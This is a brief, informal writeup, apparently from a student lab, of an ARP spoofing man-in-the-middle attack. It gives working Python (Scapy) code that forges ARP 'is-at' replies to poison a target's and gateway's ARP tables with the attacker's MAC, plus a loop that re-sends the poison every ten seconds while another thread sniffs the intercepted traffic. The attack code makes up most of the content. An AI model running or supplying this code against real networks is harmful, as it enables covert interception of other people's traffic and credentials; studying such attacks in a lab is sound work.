arp spoofing - MITM writeup : by idan maman and harel adadi

so we just changed the tables and it is working

```
def changeArpTable( target : str , src :str , srcMac : str ,interface : str )->None: #change arp tables if the ip we want to
etherAttack = Ether(dst =getTargetMac(target,interface) , src = srcMac)
arpAttack = ARP(pdst = target , psrc = src, op = "is-at" )
(etherAttack/arpAttack).show()
sendp(etherAttack/arpAttack , iface=interface,verbose=False)
```

we used is-at that notify the computer that if the ip is already in the arp table of him he should update the mac to the src so we did it and it worked and if there gw flag we sniffed all the mitm packets

so that is it

and to to persist the attack we just did in while and sniffed in other thread

```
def redoit(source):
while(True):
    arpUtil.changeArpTable(options["target"], source ,options["mac"], options["interface"] )
    if(options["attackGW"]):
         arpUtil.changeArpTable(options["router"] ,options["target"] , options["mac"],options["interface"] )
    time.sleep(10)
```

and sniff the mitm in

and for calc the time between sending is-at i wrote script that sniff all the packets and clacs the avg time

and that is it